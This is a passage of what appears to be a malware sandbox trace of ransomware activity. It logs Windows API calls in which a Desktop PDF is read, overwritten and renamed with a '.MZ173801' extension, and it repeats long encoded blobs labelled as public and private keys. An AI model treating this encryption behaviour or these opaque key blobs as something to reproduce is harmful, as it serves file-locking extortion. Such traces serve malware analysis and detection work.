CsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0176.295] GetCurrentThreadId () returned 0xab4 [0176.295] GetCurrentThreadId () returned 0xab4 [0176.295] GetCurrentThreadId () returned 0xab4 [0176.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.532] GetCurrentThreadId () returned 0xab4 [0176.532] GetCurrentThreadId () returned 0xab4 [0176.532] GetCurrentThreadId () returned 0xab4 [0176.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xdfbe [0176.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.533] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0xdfbe, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0xdfbe, lpOverlapped=0x0) returned 1 [0176.535] CloseHandle (hObject=0x320) returned 1 [0176.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.538] WriteFile (in: hFile=0x320, lpBuffer=0x24b5e70*, nNumberOfBytesToWrite=0xdfbe, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b5e70*, lpNumberOfBytesWritten=0x19fa24*=0xdfbe, lpOverlapped=0x0) returned 1 [0176.540] CloseHandle (hObject=0x320) returned 1 [0176.540] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf.mz173801")) returned 1 [0176.541] GetCurrentThreadId () returned 0xab4 [0176.541] GetCurrentThreadId () returned 0xab4 [0176.542] GetCurrentThreadId () returned 0xab4 [0176.542] GetCurrentThreadId () returned 0xab4 [0176.542] GetCurrentThreadId () returned 0xab4 [0176.542] GetCurrentThreadId () returned 0xab4 [0176.542] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf802b420, ftCreationTime.dwHighDateTime=0x1d5e424, ftLastAccessTime.dwLowDateTime=0x6cee0960, ftLastAccessTime.dwHighDateTime=0x1d5e6eb, ftLastWriteTime.dwLowDateTime=0x6cee0960, ftLastWriteTime.dwHighDateTime=0x1d5e6eb, nFileSizeHigh=0x0, nFileSizeLow=0x787, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oojSlrPVLmu.avi", cAlternateFileName="OOJSLR~1.AVI")) returned 1 [0176.542] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.542] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf802b420, ftCreationTime.dwHighDateTime=0x1d5e424, ftLastAccessTime.dwLowDateTime=0x6cee0960, ftLastAccessTime.dwHighDateTime=0x1d5e6eb, ftLastWriteTime.dwLowDateTime=0x6cee0960, ftLastWriteTime.dwHighDateTime=0x1d5e6eb, nFileSizeHigh=0x0, nFileSizeLow=0x787)) returned 1 [0176.542] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi")) returned 0x20 [0176.542] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi", dwFileAttributes=0x80) returned 1 [0176.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.546] GetCurrentThreadId () returned 0xab4 [0176.546] GetCurrentThreadId () returned 0xab4 [0176.546] GetCurrentThreadId () returned 0xab4 [0176.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWw